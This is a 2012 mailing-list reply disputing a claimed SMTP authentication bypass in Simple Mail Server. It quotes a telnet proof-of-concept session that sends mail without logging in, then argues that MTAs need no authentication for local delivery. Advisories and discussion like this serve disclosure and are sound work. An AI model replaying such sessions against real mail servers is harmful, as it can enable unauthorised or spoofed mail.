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Re: Simple Mail Server - SMTP Authentication Bypass Vulnerability


demonalex@xxxxxxx schrieb am 08.01.2012 um 15:10:
> Title: Simple Mail Server - SMTP Authentication Bypass Vulnerability
> Bug Description :
> Simple Mail Server is a tiny Mail Server written in C#. It can be sent mail 
without password by using usual tcp client(such as telnet).
> And it did not have SMTP authentication contoller.
> POC(Remarks: domain alex.com and user alex@xxxxxxxx must be exists in 
configuration for this test case):
> >telnet 25
> 220 TEST-121F797342 SMTP ready.
> EHLO mail_of_alert
> 500 Not supported. Use HELO
> MAIL FROM: <alex@xxxxxxxx>
> 250 OK
> RCPT TO: <alex@xxxxxxxx>
> 250 OK
> Data
> 354 Start mail input; end with <CRLF>.<CRLF>
> From: "alex@xxxxxxxx" <alex@xxxxxxxx>
> To: "alex@xxxxxxxx" <alex@xxxxxxxx>
> Subject: authenticate is not required!

erm... where's the bug? If the mailer is configured to receive
mail for alex@xxxxxxxx, why should it require SMTP authentication
for incoming mails to that address?

Anyway, SMTP authentication is not a requirement for an MTA, so
the lack of such can hardly be called a bug.

Peter Conrad
Tivano Software GmbH
Bahnhofstr. 18
63263 Neu-Isenburg
Tel: 06102 / 8099070
Fax: 06102 / 8099071
HRB 11680, AG Offenbach/Main
GeschÃftsfÃhrer: Martin Apel